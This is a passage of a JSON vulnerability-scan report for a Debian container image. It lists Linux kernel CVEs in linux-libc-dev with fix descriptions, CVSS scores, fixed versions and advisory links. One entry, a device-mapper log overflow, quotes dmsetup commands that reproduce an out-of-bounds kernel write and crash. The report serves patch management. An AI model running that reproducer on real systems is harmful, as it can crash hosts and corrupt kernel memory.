"https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:22b6f95fb6e402db050426d249be14ecefdb5b523976101c44ab0f65e7d64232", "Title": "kernel: ipv6: fix possible UAF in icmpv6_rcv()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: fix possible UAF in icmpv6_rcv()\n\nCaching saddr and daddr before pskb_pull() is problematic\nsince skb-\u003ehead can change.\n\nRemove these temporary variables:\n\n- We only access \u0026ipv6_hdr(skb)-\u003esaddr and \u0026ipv6_hdr(skb)-\u003edaddr\n when net_dbg_ratelimited() is called in the slow path.\n\n- Avoid potential future misuse after pskb_pull() call.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-825" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:45192", "https://access.redhat.com/errata/RHSA-2026:47010", "https://access.redhat.com/errata/RHSA-2026:47011", "https://access.redhat.com/errata/RHSA-2026:47017", "https://access.redhat.com/errata/RHSA-2026:61932", "https://access.redhat.com/errata/RHSA-2026:62568", "https://access.redhat.com/errata/RHSA-2026:64767", "https://access.redhat.com/errata/RHSA-2026:65710", "https://access.redhat.com/errata/RHSA-2026:65711", "https://access.redhat.com/errata/RHSA-2026:65712", "https://access.redhat.com/errata/RHSA-2026:67721", "https://access.redhat.com/errata/RHSA-2026:67723", "https://access.redhat.com/security/cve/CVE-2026-53006", "https://bugzilla.redhat.com/2406712", "https://bugzilla.redhat.com/2492277", "https://bugzilla.redhat.com/2492284", "https://bugzilla.redhat.com/2492318", "https://bugzilla.redhat.com/2492363", "https://bugzilla.redhat.com/show_bug.cgi?id=2406712", "https://bugzilla.redhat.com/show_bug.cgi?id=2492277", "https://bugzilla.redhat.com/show_bug.cgi?id=2492284", "https://bugzilla.redhat.com/show_bug.cgi?id=2492318", "https://bugzilla.redhat.com/show_bug.cgi?id=2492363", "https://bugzilla.redhat.com/show_bug.cgi?id=2510891", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40026", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52950", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52976", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53006", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53059", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64561", "https://errata.almalinux.org/9/ALSA-2026-45192.html", "https://errata.rockylinux.org/RLSA-2026:45192", "https://git.kernel.org/linus/f996edd7615e686ada141b7f3395025729ff8ccb%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0069813e6ca9309eca78022bcb3aeb1e9ef90a12", "https://git.kernel.org/stable/c/085e31a811ef234ef8c3e219c4636dfebfe7e10f", "https://git.kernel.org/stable/c/1e1f0f89ee4692a64be3f3707ff8ac1ae57b03e7", "https://git.kernel.org/stable/c/38bdbc897c0d83a3e2b925a51b69420f1feba29a", "https://git.kernel.org/stable/c/7bff2c8fe5c35ae58bf73104f53db3676e6e5d94", "https://git.kernel.org/stable/c/7c66b368c6ff453f99cb39d84af93e908e51eef2", "https://git.kernel.org/stable/c/aff0f28f5be803de2452ce702631c021fcd9ce8a", "https://git.kernel.org/stable/c/f996edd7615e686ada141b7f3395025729ff8ccb", "https://linux.oracle.com/cve/CVE-2026-53006.html", "https://linux.oracle.com/errata/ELSA-2026-47017.html", "https://lore.kernel.org/linux-cve-announce/2026062448-CVE-2026-53006-2b02@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53006", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53006.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8633-1", "https://ubuntu.com/security/notices/USN-8633-2", "https://ubuntu.com/security/notices/USN-8635-1", "https://ubuntu.com/security/notices/USN-8645-1", "https://ubuntu.com/security/notices/USN-8662-1", "https://ubuntu.com/security/notices/USN-8662-2", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8666-1", "https://ubuntu.com/security/notices/USN-8666-2", "https://ubuntu.com/security/notices/USN-8666-3", "https://ubuntu.com/security/notices/USN-8667-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8715-1", "https://ubuntu.com/security/notices/USN-8715-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8748-1", "https://ubuntu.com/security/notices/USN-8911-1", "https://www.cve.org/CVERecord?id=CVE-2026-53006" ], "PublishedDate": "2026-06-24T17:17:11.75Z", "LastModifiedDate": "2026-10-19T20:18:55.5Z" }, { "VulnerabilityID": "CVE-2026-53059", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53059", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cd61e5b500ff59424abd2eddccd2f319f6ab8db16bb6b7393404fd7d0eb4c68c", "Title": "kernel: dm log: fix out-of-bounds write due to region_count overflow", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm log: fix out-of-bounds write due to region_count overflow\n\nThe local variable region_count in create_log_context() is declared as\nunsigned int (32-bit), but dm_sector_div_up() returns sector_t (64-bit).\nWhen a device-mapper target has a sufficiently large ti-\u003elen with a small\nregion_size, the division result can exceed UINT_MAX. The truncated\nvalue is then used to calculate bitset_size, causing clean_bits,\nsync_bits, and recovering_bits to be allocated far smaller than needed\nfor the actual number of regions.\n\nSubsequent log operations (log_set_bit, log_clear_bit, log_test_bit) use\nregion indices derived from the full untruncated region space, causing\nout-of-bounds writes to kernel heap memory allocated by vmalloc.\n\nThis can be reproduced by creating a mirror target whose region_count\noverflows 32 bits:\n\n dmsetup create bigzero --table '0 8589934594 zero'\n dmsetup create mymirror --table '0 8589934594 mirror \\\n core 2 2 nosync 2 /dev/mapper/bigzero 0 \\\n /dev/mapper/bigzero 0'\n\nThe status output confirms the truncation (sync_count=1 instead of\n4294967297, because 0x100000001 was truncated to 1):\n\n $ dmsetup status mymirror\n 0 8589934594 mirror 2 254:1 254:1 1/4294967297 ...\n\nThis leads to a kernel crash in core_in_sync:\n\n BUG: scheduling while atomic: (udev-worker)/9150/0x00000000\n RIP: 0010:core_in_sync+0x14/0x30 [dm_log]\n CR2: 0000000000000008\n Fixing recursive fault but reboot is needed!\n\nFix by widening the local region_count to sector_t and adding an\nexplicit overflow check before the value is assigned to lc-\u003eregion_count.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 6.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:45114", "https://access.redhat.com/errata/RHSA-2026:45115", "https://access.redhat.com/errata/RHSA-2026:45116", "https://access.redhat.com/errata/RHSA-2026:45192", "https://access.redhat.com/errata/RHSA-2026:47248", "https://access.redhat.com/errata/RHSA-2026:52649", "https://access.redhat.com/errata/RHSA-2026:53989", "https://access.redhat.com/errata/RHSA-2026:55445", "https://access.redhat.com/errata/RHSA-2026:56574", "https://access.redhat.com/errata/RHSA-2026:59662", "https://access.redhat.com/errata/RHSA-2026:59663", "https://access.redhat.com/errata/RHSA-2026:61692", "https://access.redhat.com/errata/RHSA-2026:63189", "https://access.redhat.com/security/cve/CVE-2026-53059", "https://bugzilla.redhat.com/2406712", "https://bugzilla.redhat.com/2492277", "https://bugzilla.redhat.com/2492284", "https://bugzilla.redhat.com/2492318", "https://bugzilla.redhat.com/2492363", "https://bugzilla.redhat.com/show_bug.cgi?id=2406712", "https://bugzilla.redhat.com/show_bug.cgi?id=2492277", "https://bugzilla.redhat.com/show_bug.cgi?id=2492284", "https://bugzilla.redhat.com/show_bug.cgi?id=2492318", "https://bugzilla.redhat.com/show_bug.cgi?id=2492363", "https://bugzilla.redhat.com/show_bug.cgi?id=2510891", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40026", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52950", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52976", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53006", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53059", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64561", "https://errata.almalinux.org/9/ALSA-2026-45192.html", "https://errata.rockylinux.org/RLSA-2026:45192", "https://git.kernel.org/linus/c20e36b7631d83e7535877f08af8b0af72c44b1a%20%287.1-rc1%29", "https://git.kernel.org/stable/c/12bd5b88e91a02785244ff1d20fb157e96e9cdc8", "https://git.kernel.org/stable/c/3ec74da927b4e171a6fc0e77b1188ba4d019af51", "https://git.kernel.org/stable/c/44ab8875ae4a2842bde2d756bed195d375e0debb", "https://git.kernel.org/stable/c/4ec8323b9f0764a14d532b1ae9b87f8a9fecb867", "https://git.kernel.org/stable/c/b455903eed4558982be0811f5b7f44f6bbc4ff57", "https://git.kernel.org/stable/c/c20e36b7631d83e7535877f08af8b0af72c44b1a", "https://git.kernel.org/stable/c/d4ac87567f86a55c3c92e9a5144dcd943a9772a1", "https://git.kernel.org/stable/c/defe483e47173768c227532694dc78cb65db5f09", "https://linux.oracle.com/cve/CVE-2026-53059.html", "https://linux.oracle.com/errata/ELSA-2026-45192.html", "https://lore.kernel.org/linux-cve-announce/2026062401-CVE-2026-53059-f32e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53059", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53059.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53059" ], "PublishedDate": "2026-06-24T17:17:18.463Z", "LastModifiedDate": "2026-11-06T17:18:03.45Z" }, { "VulnerabilityID": "CVE-2026-53089", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53089", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:36f2b247f058baa351fa38238d0ae929009b5c1e31ab6cb9300999a93e91b3fc", "Title": "kernel: bpf: Fix use-after-free in offloaded map/prog info fill", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix use-after-free in offloaded map/prog info fill\n\nWhen querying info for an offloaded BPF map or program,\nbpf_map_offload_info_fill_ns() and bpf_prog_offload_info_fill_ns()\nobtain the network namespace with get_net(dev_net(offmap-\u003enetdev)).\nHowever, the associated netdev's netns may be racing with teardown\nduring netns destruction. If the netns refcount has already reached 0,\nget_net() performs a refcount_t increment on 0, triggering:\n\n refcount_t: addition on 0; use-after-free.\n\nAlthough rtnl_lock and bpf_devs_lock ensure the netdev pointer remains\nvalid, they cannot prevent the netns refcount from reaching zero.\n\nFix this by using maybe_get_net() instead of get_net(). maybe_get_net()\nuses refcount_inc_not_zero() and returns NULL if the refcount is already\nzero, which causes ns_get_path_cb() to fail and the caller to return\n-ENOENT -- the correct behavior when the netns is being destroyed.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53089", "https://git.kernel.org/linus/a0c584fc18056709c8e047a82a6045d6c209f4ce%20%287.1-rc1%29", "https://git.kernel.org/stable/c/1a2dc103e16448d022a77ad5fc3234641436c4b7", "https://git.kernel.org/stable/c/43d6848a2a6c92ccfd614d9f0bb6fd85b95dfa9d", "https://git.kernel.org/stable/c/5662dac41a3442aa378d7c405164903eb109fc05", "https://git.kernel.org/stable/c/642943ae5bdacabc8109dc4a5e0ebb4a6b99ef3e", "https://git.kernel.org/stable/c/85dc711f742b192eb97c0e00b521312f5a7a415e", "https://git.kernel.org/stable/c/a0c584fc18056709c8e047a82a6045d6c209f4ce", "https://git.kernel.org/stable/c/a51e7fbe94a87e236631a83973d4f558310b2cd2", "https://git.kernel.org/stable/c/fea55b034328feaafef75aee252f305e6f85a991", "https://linux.oracle.com/cve/CVE-2026-53089.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026062409-CVE-2026-53089-fdd8@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53089", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53089" ], "PublishedDate": "2026-06-24T17:17:23.097Z", "LastModifiedDate": "2026-11-06T17:18:05.513Z" }, { "VulnerabilityID": "CVE-2026-53091", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53091", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f6e604bde9d0542a18c9dd04cfa6fb3f6960f05fb6fa351e2961d809f6aac877", "Title": "kernel: net: pull headers in qdisc_pkt_len_segs_init()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: pull headers in qdisc_pkt_len_segs_init()\n\nMost ndo_start_xmit() methods expects headers of gso packets\nto be already in skb-\u003ehead.\n\nnet/core/tso.c users are particularly at risk, because tso_build_hdr()\ndoes a memcpy(hdr, skb-\u003edata, hdr_len);\n\nqdisc_pkt_len_segs_init() already does a dissection of gso packets.\n\nUse pskb_may_pull() instead of skb_header_pointer() to make\nsure drivers do not have to reimplement this.\n\nSome malicious packets could be fed, detect them so that we can\ndrop them sooner with a new SKB_DROP_REASON_SKB_BAD_GSO drop_reason.", "Severity": "HIGH", "CweIDs": [ "CWE-131" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:65334", "https://access.redhat.com/errata/RHSA-2026:66324", "https://access.redhat.com/errata/RHSA-2026:66325", "https://access.redhat.com/errata/RHSA-2026:67150", "https://access.redhat.com/security/cve/CVE-2026-53091", "https://bugzilla.redhat.com/2425039", "https://bugzilla.redhat.com/2454867", "https://bugzilla.redhat.com/2460699", "https://bugzilla.redhat.com/2461451", "https://bugzilla.redhat.com/2461525", "https://bugzilla.redhat.com/2464093", "https://bugzilla.redhat.com/2468050", "https://bugzilla.redhat.com/2468192", "https://bugzilla.redhat.com/2468244", "https://bugzilla.redhat.com/2492092", "https://bugzilla.redhat.com/2492115", "https://bugzilla.redhat.com/2492270", "https://bugzilla.redhat.com/2492310", "https://bugzilla.redhat.com/2492408", "https://bugzilla.redhat.com/2492432", "https://bugzilla.redhat.com/2492717", "https://bugzilla.redhat.com/2492722", "https://bugzilla.redhat.com/2492762", "https://bugzilla.redhat.com/2492771", "https://bugzilla.redhat.com/2492795", "https://bugzilla.redhat.com/2502254", "https://bugzilla.redhat.com/2502320", "https://bugzilla.redhat.com/2502331", "https://bugzilla.redhat.com/2502346", "https://bugzilla.redhat.com/2502388", "https://bugzilla.redhat.com/2502413", "https://bugzilla.redhat.com/2502446", "https://bugzilla.redhat.com/2502473", "https://bugzilla.redhat.com/2502477", "https://bugzilla.redhat.com/2502518", "https://bugzilla.redhat.com/2502541", "https://bugzilla.redhat.com/2506782", "https://bugzilla.redhat.com/2507292", "https://bugzilla.redhat.com/2513141", "https://bugzilla.redhat.com/2513177", "https://bugzilla.redhat.com/2513253", "https://bugzilla.redhat.com/2513324", "https://bugzilla.redhat.com/2513397", "https://bugzilla.redhat.com/2513408", "https://bugzilla.redhat.com/2513452", "https://bugzilla.redhat.com/2513474", "https://bugzilla.redhat.com/2516501", "https://bugzilla.redhat.com/show_bug.cgi?id=2425039", "https://bugzilla.redhat.com/show_bug.cgi?id=2454867", "https://bugzilla.redhat.com/show_bug.cgi?id=2460699", "https://bugzilla.redhat.com/show_bug.cgi?id=2461451", "https://bugzilla.redhat.com/show_bug.cgi?id=2461525", "https://bugzilla.redhat.com/show_bug.cgi?id=2464093", "https://bugzilla.redhat.com/show_bug.cgi?id=2468050", "https://bugzilla.redhat.com/show_bug.cgi?id=2468192", "https://bugzilla.redhat.com/show_bug.cgi?id=2468244", "https://bugzilla.redhat.com/show_bug.cgi?id=2492092", "https://bugzilla.redhat.com/show_bug.cgi?id=2492115", "https://bugzilla.redhat.com/show_bug.cgi?id=2492270", "https://bugzilla.redhat.com/show_bug.cgi?id=2492310", "https://bugzilla.redhat.com/show_bug.cgi?id=2492408", "https://bugzilla.redhat.com/show_bug.cgi?id=2492432", "https://bugzilla.redhat.com/show_bug.cgi?id=2492717", "https://bugzilla.redhat.com/show_bug.cgi?id=2492722", "https://bugzilla.redhat.com/show_bug.cgi?id=2492762", "https://bugzilla.redhat.com/show_bug.cgi?id=2492771", "https://bugzilla.redhat.com/show_bug.cgi?id=2492795", "https://bugzilla.redhat.com/show_bug.cgi?id=2502254", "https://bugzilla.redhat.com/show_bug.cgi?id=2502320", "https://bugzilla.redhat.com/show_bug.cgi?id=2502331", "https://bugzilla.redhat.com/show_bug.cgi?id=2502346", "https://bugzilla.redhat.com/show_bug.cgi?id=2502388", "https://bugzilla.redhat.com/show_bug.cgi?id=2502413", "https://bugzilla.redhat.com/show_bug.cgi?id=2502446", "https://bugzilla.redhat.com/show_bug.cgi?id=2502473", "https://bugzilla.redhat.com/show_bug.cgi?id=2502477", "https://bugzilla.redhat.com/show_bug.cgi?id=2502518", "https://bugzilla.redhat.com/show_bug.cgi?id=2502541", "https://bugzilla.redhat.com/show_bug.cgi?id=2506782", "https://bugzilla.redhat.com/show_bug.cgi?id=2507292", "https://bugzilla.redhat.com/show_bug.cgi?id=2513141", "https://bugzilla.redhat.com/show_bug.cgi?id=2513177", "https://bugzilla.redhat.com/show_bug.cgi?id=2513253", "https://bugzilla.redhat.com/show_bug.cgi?id=2513324", "https://bugzilla.redhat.com/show_bug.cgi?id=2513397", "https://bugzilla.redhat.com/show_bug.cgi?id=2513408", "https://bugzilla.redhat.com/show_bug.cgi?id=2513452", "https://bugzilla.redhat.com/show_bug.cgi?id=2513474", "https://bugzilla.redhat.com/show_bug.cgi?id=2516501", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68745", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31566", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31656", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31692", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43334", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43368", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43370", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52918", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53091", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53246", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53254", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63889", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63944", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63945", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63946", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63975", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64113", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68086", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68264", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68315", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68376", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72098", "https://errata.almalinux.org/9/ALSA-2026-67150.html", "https://errata.rockylinux.org/RLSA-2026:67150", "https://git.kernel.org/linus/7fb4c19670110f052c04e1ec1d2b953b9f4f57e4%20%287.1-rc1%29", "https://git.kernel.org/stable/c/5895cfc76924a629c6eaa5e5f049de642860045f", "https://git.kernel.org/stable/c/7564dc804d8289d2e5c6edb8173754051b71bff4", "https://git.kernel.org/stable/c/7fb4c19670110f052c04e1ec1d2b953b9f4f57e4", "https://git.kernel.org/stable/c/9d4f5c68f5ad4ab425f3ce1500c97c9f9743999a", "https://linux.oracle.com/cve/CVE-2026-53091.html", "https://linux.oracle.com/errata/ELSA-2026-67150-0.html", "https://lore.kernel.org/linux-cve-announce/2026062409-CVE-2026-53091-cb58@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53091", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53091.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", 